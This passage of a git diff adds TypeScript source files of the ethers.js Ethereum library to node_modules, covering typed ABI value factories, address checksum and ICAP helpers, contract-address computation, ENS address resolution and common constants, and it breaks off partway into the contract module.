112); } + + /** + * Return a new ``uint120`` type for %%v%%. + */ + static uint120(v: BigNumberish): Typed { return n(v, 120); } + + /** + * Return a new ``uint128`` type for %%v%%. + */ + static uint128(v: BigNumberish): Typed { return n(v, 128); } + + /** + * Return a new ``uint136`` type for %%v%%. + */ + static uint136(v: BigNumberish): Typed { return n(v, 136); } + + /** + * Return a new ``uint144`` type for %%v%%. + */ + static uint144(v: BigNumberish): Typed { return n(v, 144); } + + /** + * Return a new ``uint152`` type for %%v%%. + */ + static uint152(v: BigNumberish): Typed { return n(v, 152); } + + /** + * Return a new ``uint160`` type for %%v%%. + */ + static uint160(v: BigNumberish): Typed { return n(v, 160); } + + /** + * Return a new ``uint168`` type for %%v%%. + */ + static uint168(v: BigNumberish): Typed { return n(v, 168); } + + /** + * Return a new ``uint176`` type for %%v%%. + */ + static uint176(v: BigNumberish): Typed { return n(v, 176); } + + /** + * Return a new ``uint184`` type for %%v%%. + */ + static uint184(v: BigNumberish): Typed { return n(v, 184); } + + /** + * Return a new ``uint192`` type for %%v%%. + */ + static uint192(v: BigNumberish): Typed { return n(v, 192); } + + /** + * Return a new ``uint200`` type for %%v%%. + */ + static uint200(v: BigNumberish): Typed { return n(v, 200); } + + /** + * Return a new ``uint208`` type for %%v%%. + */ + static uint208(v: BigNumberish): Typed { return n(v, 208); } + + /** + * Return a new ``uint216`` type for %%v%%. + */ + static uint216(v: BigNumberish): Typed { return n(v, 216); } + + /** + * Return a new ``uint224`` type for %%v%%. + */ + static uint224(v: BigNumberish): Typed { return n(v, 224); } + + /** + * Return a new ``uint232`` type for %%v%%. + */ + static uint232(v: BigNumberish): Typed { return n(v, 232); } + + /** + * Return a new ``uint240`` type for %%v%%. + */ + static uint240(v: BigNumberish): Typed { return n(v, 240); } + + /** + * Return a new ``uint248`` type for %%v%%. + */ + static uint248(v: BigNumberish): Typed { return n(v, 248); } + + /** + * Return a new ``uint256`` type for %%v%%. + */ + static uint256(v: BigNumberish): Typed { return n(v, 256); } + + /** + * Return a new ``uint256`` type for %%v%%. + */ + static uint(v: BigNumberish): Typed { return n(v, 256); } + + /** + * Return a new ``int8`` type for %%v%%. + */ + static int8(v: BigNumberish): Typed { return n(v, -8); } + + /** + * Return a new ``int16`` type for %%v%%. + */ + static int16(v: BigNumberish): Typed { return n(v, -16); } + + /** + * Return a new ``int24`` type for %%v%%. + */ + static int24(v: BigNumberish): Typed { return n(v, -24); } + + /** + * Return a new ``int32`` type for %%v%%. + */ + static int32(v: BigNumberish): Typed { return n(v, -32); } + + /** + * Return a new ``int40`` type for %%v%%. + */ + static int40(v: BigNumberish): Typed { return n(v, -40); } + + /** + * Return a new ``int48`` type for %%v%%. + */ + static int48(v: BigNumberish): Typed { return n(v, -48); } + + /** + * Return a new ``int56`` type for %%v%%. + */ + static int56(v: BigNumberish): Typed { return n(v, -56); } + + /** + * Return a new ``int64`` type for %%v%%. + */ + static int64(v: BigNumberish): Typed { return n(v, -64); } + + /** + * Return a new ``int72`` type for %%v%%. + */ + static int72(v: BigNumberish): Typed { return n(v, -72); } + + /** + * Return a new ``int80`` type for %%v%%. + */ + static int80(v: BigNumberish): Typed { return n(v, -80); } + + /** + * Return a new ``int88`` type for %%v%%. + */ + static int88(v: BigNumberish): Typed { return n(v, -88); } + + /** + * Return a new ``int96`` type for %%v%%. + */ + static int96(v: BigNumberish): Typed { return n(v, -96); } + + /** + * Return a new ``int104`` type for %%v%%. + */ + static int104(v: BigNumberish): Typed { return n(v, -104); } + + /** + * Return a new ``int112`` type for %%v%%. + */ + static int112(v: BigNumberish): Typed { return n(v, -112); } + + /** + * Return a new ``int120`` type for %%v%%. + */ + static int120(v: BigNumberish): Typed { return n(v, -120); } + + /** + * Return a new ``int128`` type for %%v%%. + */ + static int128(v: BigNumberish): Typed { return n(v, -128); } + + /** + * Return a new ``int136`` type for %%v%%. + */ + static int136(v: BigNumberish): Typed { return n(v, -136); } + + /** + * Return a new ``int144`` type for %%v%%. + */ + static int144(v: BigNumberish): Typed { return n(v, -144); } + + /** + * Return a new ``int52`` type for %%v%%. + */ + static int152(v: BigNumberish): Typed { return n(v, -152); } + + /** + * Return a new ``int160`` type for %%v%%. + */ + static int160(v: BigNumberish): Typed { return n(v, -160); } + + /** + * Return a new ``int168`` type for %%v%%. + */ + static int168(v: BigNumberish): Typed { return n(v, -168); } + + /** + * Return a new ``int176`` type for %%v%%. + */ + static int176(v: BigNumberish): Typed { return n(v, -176); } + + /** + * Return a new ``int184`` type for %%v%%. + */ + static int184(v: BigNumberish): Typed { return n(v, -184); } + + /** + * Return a new ``int92`` type for %%v%%. + */ + static int192(v: BigNumberish): Typed { return n(v, -192); } + + /** + * Return a new ``int200`` type for %%v%%. + */ + static int200(v: BigNumberish): Typed { return n(v, -200); } + + /** + * Return a new ``int208`` type for %%v%%. + */ + static int208(v: BigNumberish): Typed { return n(v, -208); } + + /** + * Return a new ``int216`` type for %%v%%. + */ + static int216(v: BigNumberish): Typed { return n(v, -216); } + + /** + * Return a new ``int224`` type for %%v%%. + */ + static int224(v: BigNumberish): Typed { return n(v, -224); } + + /** + * Return a new ``int232`` type for %%v%%. + */ + static int232(v: BigNumberish): Typed { return n(v, -232); } + + /** + * Return a new ``int240`` type for %%v%%. + */ + static int240(v: BigNumberish): Typed { return n(v, -240); } + + /** + * Return a new ``int248`` type for %%v%%. + */ + static int248(v: BigNumberish): Typed { return n(v, -248); } + + /** + * Return a new ``int256`` type for %%v%%. + */ + static int256(v: BigNumberish): Typed { return n(v, -256); } + + /** + * Return a new ``int256`` type for %%v%%. + */ + static int(v: BigNumberish): Typed { return n(v, -256); } + + /** + * Return a new ``bytes1`` type for %%v%%. + */ + static bytes1(v: BytesLike): Typed { return b(v, 1); } + + /** + * Return a new ``bytes2`` type for %%v%%. + */ + static bytes2(v: BytesLike): Typed { return b(v, 2); } + + /** + * Return a new ``bytes3`` type for %%v%%. + */ + static bytes3(v: BytesLike): Typed { return b(v, 3); } + + /** + * Return a new ``bytes4`` type for %%v%%. + */ + static bytes4(v: BytesLike): Typed { return b(v, 4); } + + /** + * Return a new ``bytes5`` type for %%v%%. + */ + static bytes5(v: BytesLike): Typed { return b(v, 5); } + + /** + * Return a new ``bytes6`` type for %%v%%. + */ + static bytes6(v: BytesLike): Typed { return b(v, 6); } + + /** + * Return a new ``bytes7`` type for %%v%%. + */ + static bytes7(v: BytesLike): Typed { return b(v, 7); } + + /** + * Return a new ``bytes8`` type for %%v%%. + */ + static bytes8(v: BytesLike): Typed { return b(v, 8); } + + /** + * Return a new ``bytes9`` type for %%v%%. + */ + static bytes9(v: BytesLike): Typed { return b(v, 9); } + + /** + * Return a new ``bytes10`` type for %%v%%. + */ + static bytes10(v: BytesLike): Typed { return b(v, 10); } + + /** + * Return a new ``bytes11`` type for %%v%%. + */ + static bytes11(v: BytesLike): Typed { return b(v, 11); } + + /** + * Return a new ``bytes12`` type for %%v%%. + */ + static bytes12(v: BytesLike): Typed { return b(v, 12); } + + /** + * Return a new ``bytes13`` type for %%v%%. + */ + static bytes13(v: BytesLike): Typed { return b(v, 13); } + + /** + * Return a new ``bytes14`` type for %%v%%. + */ + static bytes14(v: BytesLike): Typed { return b(v, 14); } + + /** + * Return a new ``bytes15`` type for %%v%%. + */ + static bytes15(v: BytesLike): Typed { return b(v, 15); } + + /** + * Return a new ``bytes16`` type for %%v%%. + */ + static bytes16(v: BytesLike): Typed { return b(v, 16); } + + /** + * Return a new ``bytes17`` type for %%v%%. + */ + static bytes17(v: BytesLike): Typed { return b(v, 17); } + + /** + * Return a new ``bytes18`` type for %%v%%. + */ + static bytes18(v: BytesLike): Typed { return b(v, 18); } + + /** + * Return a new ``bytes19`` type for %%v%%. + */ + static bytes19(v: BytesLike): Typed { return b(v, 19); } + + /** + * Return a new ``bytes20`` type for %%v%%. + */ + static bytes20(v: BytesLike): Typed { return b(v, 20); } + + /** + * Return a new ``bytes21`` type for %%v%%. + */ + static bytes21(v: BytesLike): Typed { return b(v, 21); } + + /** + * Return a new ``bytes22`` type for %%v%%. + */ + static bytes22(v: BytesLike): Typed { return b(v, 22); } + + /** + * Return a new ``bytes23`` type for %%v%%. + */ + static bytes23(v: BytesLike): Typed { return b(v, 23); } + + /** + * Return a new ``bytes24`` type for %%v%%. + */ + static bytes24(v: BytesLike): Typed { return b(v, 24); } + + /** + * Return a new ``bytes25`` type for %%v%%. + */ + static bytes25(v: BytesLike): Typed { return b(v, 25); } + + /** + * Return a new ``bytes26`` type for %%v%%. + */ + static bytes26(v: BytesLike): Typed { return b(v, 26); } + + /** + * Return a new ``bytes27`` type for %%v%%. + */ + static bytes27(v: BytesLike): Typed { return b(v, 27); } + + /** + * Return a new ``bytes28`` type for %%v%%. + */ + static bytes28(v: BytesLike): Typed { return b(v, 28); } + + /** + * Return a new ``bytes29`` type for %%v%%. + */ + static bytes29(v: BytesLike): Typed { return b(v, 29); } + + /** + * Return a new ``bytes30`` type for %%v%%. + */ + static bytes30(v: BytesLike): Typed { return b(v, 30); } + + /** + * Return a new ``bytes31`` type for %%v%%. + */ + static bytes31(v: BytesLike): Typed { return b(v, 31); } + + /** + * Return a new ``bytes32`` type for %%v%%. + */ + static bytes32(v: BytesLike): Typed { return b(v, 32); } + + + /** + * Return a new ``address`` type for %%v%%. + */ + static address(v: string | Addressable): Typed { return new Typed(_gaurd, "address", v); } + + /** + * Return a new ``bool`` type for %%v%%. + */ + static bool(v: any): Typed { return new Typed(_gaurd, "bool", !!v); } + + /** + * Return a new ``bytes`` type for %%v%%. + */ + static bytes(v: BytesLike): Typed { return new Typed(_gaurd, "bytes", v); } + + /** + * Return a new ``string`` type for %%v%%. + */ + static string(v: string): Typed { return new Typed(_gaurd, "string", v); } + + + /** + * Return a new ``array`` type for %%v%%, allowing %%dynamic%% length. + */ + static array(v: Array, dynamic?: null | boolean): Typed { + throw new Error("not implemented yet"); + return new Typed(_gaurd, "array", v, dynamic); + } + + + /** + * Return a new ``tuple`` type for %%v%%, with the optional %%name%%. + */ + static tuple(v: Array | Record, name?: string): Typed { + throw new Error("not implemented yet"); + return new Typed(_gaurd, "tuple", v, name); + } + + + /** + * Return a new ``uint8`` type for %%v%%. + */ + static overrides(v: Record): Typed { + return new Typed(_gaurd, "overrides", Object.assign({ }, v)); + } + + /** + * Returns true only if %%value%% is a [[Typed]] instance. + */ + static isTyped(value: any): value is Typed { + return (value + && typeof(value) === "object" + && "_typedSymbol" in value + && value._typedSymbol === _typedSymbol); + } + + /** + * If the value is a [[Typed]] instance, validates the underlying value + * and returns it, otherwise returns value directly. + * + * This is useful for functions that with to accept either a [[Typed]] + * object or values. + */ + static dereference(value: Typed | T, type: string): T { + if (Typed.isTyped(value)) { + if (value.type !== type) { + throw new Error(`invalid type: expecetd ${ type }, got ${ value.type }`); + } + return value.value; + } + return value; + } +} diff --git a/node_modules/ethers/src.ts/address/address.ts b/node_modules/ethers/src.ts/address/address.ts new file mode 100644 index 000000000000..9398027b681c --- /dev/null +++ b/node_modules/ethers/src.ts/address/address.ts @@ -0,0 +1,173 @@ +import { keccak256 } from "../crypto/index.js"; +import { getBytes, assertArgument } from "../utils/index.js"; + + +const BN_0 = BigInt(0); +const BN_36 = BigInt(36); + +function getChecksumAddress(address: string): string { +// if (!isHexString(address, 20)) { +// logger.throwArgumentError("invalid address", "address", address); +// } + + address = address.toLowerCase(); + + const chars = address.substring(2).split(""); + + const expanded = new Uint8Array(40); + for (let i = 0; i < 40; i++) { + expanded[i] = chars[i].charCodeAt(0); + } + + const hashed = getBytes(keccak256(expanded)); + + for (let i = 0; i < 40; i += 2) { + if ((hashed[i >> 1] >> 4) >= 8) { + chars[i] = chars[i].toUpperCase(); + } + if ((hashed[i >> 1] & 0x0f) >= 8) { + chars[i + 1] = chars[i + 1].toUpperCase(); + } + } + + return "0x" + chars.join(""); +} + +// See: https://en.wikipedia.org/wiki/International_Bank_Account_Number + +// Create lookup table +const ibanLookup: { [character: string]: string } = { }; +for (let i = 0; i < 10; i++) { ibanLookup[String(i)] = String(i); } +for (let i = 0; i < 26; i++) { ibanLookup[String.fromCharCode(65 + i)] = String(10 + i); } + +// How many decimal digits can we process? (for 64-bit float, this is 15) +// i.e. Math.floor(Math.log10(Number.MAX_SAFE_INTEGER)); +const safeDigits = 15; + +function ibanChecksum(address: string): string { + address = address.toUpperCase(); + address = address.substring(4) + address.substring(0, 2) + "00"; + + let expanded = address.split("").map((c) => { return ibanLookup[c]; }).join(""); + + // Javascript can handle integers safely up to 15 (decimal) digits + while (expanded.length >= safeDigits){ + let block = expanded.substring(0, safeDigits); + expanded = parseInt(block, 10) % 97 + expanded.substring(block.length); + } + + let checksum = String(98 - (parseInt(expanded, 10) % 97)); + while (checksum.length < 2) { checksum = "0" + checksum; } + + return checksum; +}; + +const Base36 = (function() {; + const result: Record = { }; + for (let i = 0; i < 36; i++) { + const key = "0123456789abcdefghijklmnopqrstuvwxyz"[i]; + result[key] = BigInt(i); + } + return result; +})(); + +function fromBase36(value: string): bigint { + value = value.toLowerCase(); + + let result = BN_0; + for (let i = 0; i < value.length; i++) { + result = result * BN_36 + Base36[value[i]]; + } + return result; +} + +/** + * Returns a normalized and checksumed address for %%address%%. + * This accepts non-checksum addresses, checksum addresses and + * [[getIcapAddress]] formats. + * + * The checksum in Ethereum uses the capitalization (upper-case + * vs lower-case) of the characters within an address to encode + * its checksum, which offers, on average, a checksum of 15-bits. + * + * If %%address%% contains both upper-case and lower-case, it is + * assumed to already be a checksum address and its checksum is + * validated, and if the address fails its expected checksum an + * error is thrown. + * + * If you wish the checksum of %%address%% to be ignore, it should + * be converted to lower-case (i.e. ``.toLowercase()``) before + * being passed in. This should be a very rare situation though, + * that you wish to bypass the safegaurds in place to protect + * against an address that has been incorrectly copied from another + * source. + * + * @example: + * // Adds the checksum (via upper-casing specific letters) + * getAddress("0x8ba1f109551bd432803012645ac136ddd64dba72") + * //_result: + * + * // Converts ICAP address and adds checksum + * getAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36"); + * //_result: + * + * // Throws an error if an address contains mixed case, + * // but the checksum fails + * getAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBA72") + * //_error: + */ +export function getAddress(address: string): string { + + assertArgument(typeof(address) === "string", "invalid address", "address", address); + + if (address.match(/^(0x)?[0-9a-fA-F]{40}$/)) { + + // Missing the 0x prefix + if (!address.startsWith("0x")) { address = "0x" + address; } + + const result = getChecksumAddress(address); + + // It is a checksummed address with a bad checksum + assertArgument(!address.match(/([A-F].*[a-f])|([a-f].*[A-F])/) || result === address, + "bad address checksum", "address", address); + + return result; + } + + // Maybe ICAP? (we only support direct mode) + if (address.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) { + // It is an ICAP address with a bad checksum + assertArgument(address.substring(2, 4) === ibanChecksum(address), "bad icap checksum", "address", address); + + let result = fromBase36(address.substring(4)).toString(16); + while (result.length < 40) { result = "0" + result; } + return getChecksumAddress("0x" + result); + } + + assertArgument(false, "invalid address", "address", address); +} + +/** + * The [ICAP Address format](link-icap) format is an early checksum + * format which attempts to be compatible with the banking + * industry [IBAN format](link-wiki-iban) for bank accounts. + * + * It is no longer common or a recommended format. + * + * @example: + * getIcapAddress("0x8ba1f109551bd432803012645ac136ddd64dba72"); + * //_result: + * + * getIcapAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36"); + * //_result: + * + * // Throws an error if the ICAP checksum is wrong + * getIcapAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK37"); + * //_error: + */ +export function getIcapAddress(address: string): string { + //let base36 = _base16To36(getAddress(address).substring(2)).toUpperCase(); + let base36 = BigInt(getAddress(address)).toString(36).toUpperCase(); + while (base36.length < 30) { base36 = "0" + base36; } + return "XE" + ibanChecksum("XE00" + base36) + base36; +} diff --git a/node_modules/ethers/src.ts/address/checks.ts b/node_modules/ethers/src.ts/address/checks.ts new file mode 100644 index 000000000000..9bac6b8a30fe --- /dev/null +++ b/node_modules/ethers/src.ts/address/checks.ts @@ -0,0 +1,123 @@ +import { assert, assertArgument } from "../utils/index.js"; + +import { getAddress } from "./address.js"; + +import type { Addressable, AddressLike, NameResolver } from "./index.js"; + + +/** + * Returns true if %%value%% is an object which implements the + * [[Addressable]] interface. + * + * @example: + * // Wallets and AbstractSigner sub-classes + * isAddressable(Wallet.createRandom()) + * //_result: + * + * // Contracts + * contract = new Contract("dai.tokens.ethers.eth", [ ], provider) + * isAddressable(contract) + * //_result: + */ +export function isAddressable(value: any): value is Addressable { + return (value && typeof(value.getAddress) === "function"); +} + +/** + * Returns true if %%value%% is a valid address. + * + * @example: + * // Valid address + * isAddress("0x8ba1f109551bD432803012645Ac136ddd64DBA72") + * //_result: + * + * // Valid ICAP address + * isAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36") + * //_result: + * + * // Invalid checksum + * isAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBa72") + * //_result: + * + * // Invalid ICAP checksum + * isAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBA72") + * //_result: + * + * // Not an address (an ENS name requires a provided and an + * // asynchronous API to access) + * isAddress("ricmoo.eth") + * //_result: + */ +export function isAddress(value: any): value is string { + try { + getAddress(value); + return true; + } catch (error) { } + return false; +} + +async function checkAddress(target: any, promise: Promise): Promise { + const result = await promise; + if (result == null || result === "0x0000000000000000000000000000000000000000") { + assert(typeof(target) !== "string", "unconfigured name", "UNCONFIGURED_NAME", { value: target }); + assertArgument(false, "invalid AddressLike value; did not resolve to a value address", "target", target); + } + return getAddress(result); +} + +/** + * Resolves to an address for the %%target%%, which may be any + * supported address type, an [[Addressable]] or a Promise which + * resolves to an address. + * + * If an ENS name is provided, but that name has not been correctly + * configured a [[UnconfiguredNameError]] is thrown. + * + * @example: + * addr = "0x6B175474E89094C44Da98b954EedeAC495271d0F" + * + * // Addresses are return synchronously + * resolveAddress(addr, provider) + * //_result: + * + * // Address promises are resolved asynchronously + * resolveAddress(Promise.resolve(addr)) + * //_result: + * + * // ENS names are resolved asynchronously + * resolveAddress("dai.tokens.ethers.eth", provider) + * //_result: + * + * // Addressable objects are resolved asynchronously + * contract = new Contract(addr, [ ]) + * resolveAddress(contract, provider) + * //_result: + * + * // Unconfigured ENS names reject + * resolveAddress("nothing-here.ricmoo.eth", provider) + * //_error: + * + * // ENS names require a NameResolver object passed in + * // (notice the provider was omitted) + * resolveAddress("nothing-here.ricmoo.eth") + * //_error: + */ +export function resolveAddress(target: AddressLike, resolver?: null | NameResolver): string | Promise { + + if (typeof(target) === "string") { + if (target.match(/^0x[0-9a-f]{40}$/i)) { return getAddress(target); } + + assert(resolver != null, "ENS resolution requires a provider", + "UNSUPPORTED_OPERATION", { operation: "resolveName" }); + + return checkAddress(target, resolver.resolveName(target)); + + } else if (isAddressable(target)) { + return checkAddress(target, target.getAddress()); + + } else if (target && typeof(target.then) === "function") { + return checkAddress(target, target); + } + + assertArgument(false, "unsupported addressable value", "target", target); +} diff --git a/node_modules/ethers/src.ts/address/contract-address.ts b/node_modules/ethers/src.ts/address/contract-address.ts new file mode 100644 index 000000000000..6d8aebe279be --- /dev/null +++ b/node_modules/ethers/src.ts/address/contract-address.ts @@ -0,0 +1,80 @@ +import { keccak256 } from "../crypto/index.js"; +import { + concat, dataSlice, getBigInt, getBytes, encodeRlp, assertArgument +} from "../utils/index.js"; + +import { getAddress } from "./address.js"; + +import type { BigNumberish, BytesLike } from "../utils/index.js"; + + +// http://ethereum.stackexchange.com/questions/760/how-is-the-address-of-an-ethereum-contract-computed + +/** + * Returns the address that would result from a ``CREATE`` for %%tx%%. + * + * This can be used to compute the address a contract will be + * deployed to by an EOA when sending a deployment transaction (i.e. + * when the ``to`` address is ``null``). + * + * This can also be used to compute the address a contract will be + * deployed to by a contract, by using the contract's address as the + * ``to`` and the contract's nonce. + * + * @example + * from = "0x8ba1f109551bD432803012645Ac136ddd64DBA72"; + * nonce = 5; + * + * getCreateAddress({ from, nonce }); + * //_result: + */ +export function getCreateAddress(tx: { from: string, nonce: BigNumberish }): string { + const from = getAddress(tx.from); + const nonce = getBigInt(tx.nonce, "tx.nonce"); + + let nonceHex = nonce.toString(16); + if (nonceHex === "0") { + nonceHex = "0x"; + } else if (nonceHex.length % 2) { + nonceHex = "0x0" + nonceHex; + } else { + nonceHex = "0x" + nonceHex; + } + + return getAddress(dataSlice(keccak256(encodeRlp([ from, nonceHex ])), 12)); +} + +/** + * Returns the address that would result from a ``CREATE2`` operation + * with the given %%from%%, %%salt%% and %%initCodeHash%%. + * + * To compute the %%initCodeHash%% from a contract's init code, use + * the [[keccak256]] function. + * + * For a quick overview and example of ``CREATE2``, see [[link-ricmoo-wisps]]. + * + * @example + * // The address of the contract + * from = "0x8ba1f109551bD432803012645Ac136ddd64DBA72" + * + * // The salt + * salt = id("HelloWorld") + * + * // The hash of the initCode + * initCode = "0x6394198df16000526103ff60206004601c335afa6040516060f3"; + * initCodeHash = keccak256(initCode) + * + * getCreate2Address(from, salt, initCodeHash) + * //_result: + */ +export function getCreate2Address(_from: string, _salt: BytesLike, _initCodeHash: BytesLike): string { + const from = getAddress(_from); + const salt = getBytes(_salt, "salt"); + const initCodeHash = getBytes(_initCodeHash, "initCodeHash"); + + assertArgument(salt.length === 32, "salt must be 32 bytes", "salt", _salt); + + assertArgument(initCodeHash.length === 32, "initCodeHash must be 32 bytes", "initCodeHash", _initCodeHash); + + return getAddress(dataSlice(keccak256(concat([ "0xff", from, salt, initCodeHash ])), 12)) +} diff --git a/node_modules/ethers/src.ts/address/index.ts b/node_modules/ethers/src.ts/address/index.ts new file mode 100644 index 000000000000..4feb02b7f9c0 --- /dev/null +++ b/node_modules/ethers/src.ts/address/index.ts @@ -0,0 +1,57 @@ +/** + * Addresses are a fundamental part of interacting with Ethereum. They + * represent the global identity of Externally Owned Accounts (accounts + * backed by a private key) and contracts. + * + * The Ethereum Naming Service (ENS) provides an interconnected ecosystem + * of contracts, standards and libraries which enable looking up an + * address for an ENS name. + * + * These functions help convert between various formats, validate + * addresses and safely resolve ENS names. + * + * @_section: api/address:Addresses [about-addresses] + */ + +null; + +/** + * An interface for objects which have an address, and can + * resolve it asyncronously. + * + * This allows objects such as [[Signer]] or [[Contract]] to + * be used most places an address can be, for example getting + * the [balance](Provider-getBalance). + */ +export interface Addressable { + /** + * Get the object address. + */ + getAddress(): Promise; +} + +/** + * Anything that can be used to return or resolve an address. + */ +export type AddressLike = string | Promise | Addressable; + +/** + * An interface for any object which can resolve an ENS name. + */ +export interface NameResolver { + /** + * Resolve to the address for the ENS %%name%%. + * + * Resolves to ``null`` if the name is unconfigued. Use + * [[resolveAddress]] (passing this object as %%resolver%%) to + * throw for names that are unconfigured. + */ + resolveName(name: string): Promise; +} + +export { getAddress, getIcapAddress } from "./address.js"; + +export { getCreateAddress, getCreate2Address } from "./contract-address.js"; + + +export { isAddressable, isAddress, resolveAddress } from "./checks.js"; diff --git a/node_modules/ethers/src.ts/constants/addresses.ts b/node_modules/ethers/src.ts/constants/addresses.ts new file mode 100644 index 000000000000..60aa9b25f4f5 --- /dev/null +++ b/node_modules/ethers/src.ts/constants/addresses.ts @@ -0,0 +1,8 @@ + +/** + * A constant for the zero address. + * + * (**i.e.** ``"0x0000000000000000000000000000000000000000"``) + */ +export const ZeroAddress: string = "0x0000000000000000000000000000000000000000"; + diff --git a/node_modules/ethers/src.ts/constants/hashes.ts b/node_modules/ethers/src.ts/constants/hashes.ts new file mode 100644 index 000000000000..92c39c3f1b62 --- /dev/null +++ b/node_modules/ethers/src.ts/constants/hashes.ts @@ -0,0 +1,7 @@ +/** + * A constant for the zero hash. + * + * (**i.e.** ``"0x0000000000000000000000000000000000000000000000000000000000000000"``) + */ +export const ZeroHash: string = "0x0000000000000000000000000000000000000000000000000000000000000000"; + diff --git a/node_modules/ethers/src.ts/constants/index.ts b/node_modules/ethers/src.ts/constants/index.ts new file mode 100644 index 000000000000..be2e67ecdc4e --- /dev/null +++ b/node_modules/ethers/src.ts/constants/index.ts @@ -0,0 +1,16 @@ +/** + * Some common constants useful for Ethereum. + * + * @_section: api/constants: Constants [about-constants] + */ + +export { ZeroAddress } from "./addresses.js"; +export { ZeroHash } from "./hashes.js"; +export { + N, + WeiPerEther, + MaxUint256, + MinInt256, + MaxInt256 +} from "./numbers.js"; +export { EtherSymbol, MessagePrefix } from "./strings.js"; diff --git a/node_modules/ethers/src.ts/constants/numbers.ts b/node_modules/ethers/src.ts/constants/numbers.ts new file mode 100644 index 000000000000..e94b6960999d --- /dev/null +++ b/node_modules/ethers/src.ts/constants/numbers.ts @@ -0,0 +1,35 @@ + +/** + * A constant for the order N for the secp256k1 curve. + * + * (**i.e.** ``0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141n``) + */ +export const N: bigint = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"); + +/** + * A constant for the number of wei in a single ether. + * + * (**i.e.** ``1000000000000000000n``) + */ +export const WeiPerEther: bigint = BigInt("1000000000000000000"); + +/** + * A constant for the maximum value for a ``uint256``. + * + * (**i.e.** ``0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``) + */ +export const MaxUint256: bigint = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); + +/** + * A constant for the minimum value for an ``int256``. + * + * (**i.e.** ``-8000000000000000000000000000000000000000000000000000000000000000n``) + */ +export const MinInt256: bigint = BigInt("0x8000000000000000000000000000000000000000000000000000000000000000") * BigInt(-1); + +/** + * A constant for the maximum value for an ``int256``. + * + * (**i.e.** ``0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``) + */ +export const MaxInt256: bigint = BigInt("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); diff --git a/node_modules/ethers/src.ts/constants/strings.ts b/node_modules/ethers/src.ts/constants/strings.ts new file mode 100644 index 000000000000..3439ca7b1702 --- /dev/null +++ b/node_modules/ethers/src.ts/constants/strings.ts @@ -0,0 +1,16 @@ +// NFKC (composed) // (decomposed) + +/** + * A constant for the ether symbol (normalized using NFKC). + * + * (**i.e.** ``"\\u039e"``) + */ +export const EtherSymbol: string = "\u039e"; // "\uD835\uDF63"; + + +/** + * A constant for the [[link-eip-191]] personal message prefix. + * + * (**i.e.** ``"\\x19Ethereum Signed Message:\\n"``) + */ +export const MessagePrefix: string = "\x19Ethereum Signed Message:\n"; diff --git a/node_modules/ethers/src.ts/contract/contract.ts b/node_modules/ethers/src.ts/contract/contract.ts new file mode 100644 index 000000000000..b0595fc9d8bc --- /dev/null +++ b/node_modules/ethers/src.ts/contract/contract.ts @@ -0,0 +1,1120 @@ +import { Interface, Typed } from "../abi/index.js"; +import { isAddressable, resolveAddress } from "../address/index.js"; +// import from provider.ts instead of index.ts to prevent circular dep +// from EtherscanProvider +import { copyRequest, Log, TransactionResponse } from "../providers/provider.js"; +import { + defineProperties, getBigInt, isCallException, isHexString, resolveProperties, + isError, makeError, assert, assertArgument +} from "../utils/index.js"; + +import { + ContractEventPayload, ContractUnknownEventPayload, + ContractTransactionResponse, + EventLog, UndecodedEventLog +} from "./wrappers.js"; + +import type { EventFragment, FunctionFragment, InterfaceAbi, ParamType, Result } from "../abi/index.js"; +import type { Addressable, NameResolver } from "../address/index.js"; +import type { EventEmitterable, Listener } from "../utils/index.js"; +import type { + BlockTag, ContractRunner, Provider, TransactionRequest, TopicFilter +} from "../providers/index.js"; + +import type { + BaseContractMethod, + ContractEventName, + ContractInterface, + ContractMethodArgs, + ContractMethod, + ContractEventArgs, + ContractEvent, + ContractTransaction, + DeferredTopicFilter, + WrappedFallback +} from "./types.js"; + +const BN_0 = BigInt(0); + +interface ContractRunnerCaller extends ContractRunner { + call: (tx: TransactionRequest) => Promise; +} + +interface ContractRunnerEstimater extends ContractRunner { + estimateGas: (tx: TransactionRequest) => Promise; +} + +interface ContractRunnerSender extends ContractRunner { + sendTransaction: (tx: TransactionRequest) => Promise; +} + +interface ContractRunnerResolver extends ContractRunner { + resolveName: (name: string | Addressable) => Promise; +} + +function canCall(value: any): value is ContractRunnerCaller { + return (value && typeof(value.call) === "function"); +} + +function canEstimate(value: any): value is ContractRunnerEstimater { + return (value && typeof(value.estimateGas) === "function"); +} + +function canResolve(value: any): value is ContractRunnerResolver { + return (value && typeof(value.resolveName) === "function"); +} + +function canSend(value: any): value is ContractRunnerSender { + return (value && typeof(value.sendTransaction) === "function"); +} + +function getResolver(value: any): undefined | NameResolver { + if (value != null) { + if (canResolve(value)) { return value; } + if (value.provider) { return value.provider; } + } + return undefined; +} + +class PreparedTopicFilter implements DeferredTopicFilter { + #filter: Promise; + readonly fragment!: EventFragment; + + constructor(contract: BaseContract, fragment: EventFragment, args: Array) { + defineProperties(this, { fragment }); + if (fragment.inputs.length < args.length) { + throw new Error("too many arguments"); + } + + // Recursively descend into args and resolve any addresses + const runner = getRunner(contract.runner, "resolveName"); + const resolver = canResolve(runner) ? runner: null; + this.#filter = (async function() { + const resolvedArgs = await Promise.all(fragment.inputs.map((param, index) => { + const arg = args[index]; + if (arg == null) { return null; } + + return param.walkAsync(args[index], (type, value) => { + if (type === "address") { + if (Array.isArray(value)) { + return Promise.all(value.map((v) => resolveAddress(v, resolver))); + } + return resolveAddress(value, resolver); + } + return value; + }); + })); + + return contract.interface.encodeFilterTopics(fragment, resolvedArgs); + })(); + } + + getTopicFilter(): Promise { + return this.#filter; + } +} + + +// A = Arguments passed in as a tuple +// R = The result type of the call (i.e. if only one return type, +// the qualified type, otherwise Result) +// D = The type the default call will return (i.e. R for view/pure, +// TransactionResponse otherwise) 